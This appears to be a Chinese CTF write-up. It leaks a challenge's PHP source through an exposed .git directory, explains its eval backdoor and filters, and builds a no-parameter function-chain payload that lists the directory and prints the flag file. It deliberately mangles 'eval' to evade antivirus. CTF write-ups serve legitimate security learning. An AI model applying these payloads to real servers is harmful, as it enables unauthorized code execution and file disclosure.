这题有个git泄露 url后头加个.git 然后丢到githacker 下载下来源代码
"; if(isset($_GET['exp'])){ ;典型的木马get方式 if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) { ;这边常用伪协议均被禁止了就很离谱 if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) { ;这边正则匹配 ?R表示引用当前表达式 [a-z,_]+[a-z,_]+\((?R)?\) 合法表达式类似于a(b();) if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) { ;过滤一些字眼 // echo $_GET['exp']; @e、、v、、a、、l($_GET['exp']); } else{ die("还差一点哦!"); } } else{ die("再好好想想!"); } } else{ die("还想读flag,臭弟弟!"); } } // highlight_file(__FILE__); ?>然其不能使用php伪协议,但是@e、、v、、a、、l($_GET[‘exp’]);可以进行命令执行,所以使用scandir()函数列出当前目录中的文件和目录 ╮(╯▽╰)╭这顿号加的很无奈 不然到时候又被杀了
- scandir (语法scandir(dictionary,sorting_order,context);) 使用至少必需要有一个directory的,但是我们又没有办法去定义一个变量,这时候就要考虑php有没有什么函数是自带常量的:localeconv() (这玩意是个数组 然后就得用到current() 这函数就自带常量 current语法current(array)
构造一下就是array(localeconv)
在构造一下就是?exp=print_r(scandir(current(localeconv()))); 然后目录爆出来
这波还需要用到next函数将内部指针指向数组的下一个元素并输出.
正常next需要用到挺多次的 然而scandir函数的返回值是一个数组,如果把数组逆序排列,再用一个next即可达成目的
然后就是用到array_reverse这个神奇的函数:以相反的元素按顺序返回数组
然后最后highlight_file 输出文件即可
payload:?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));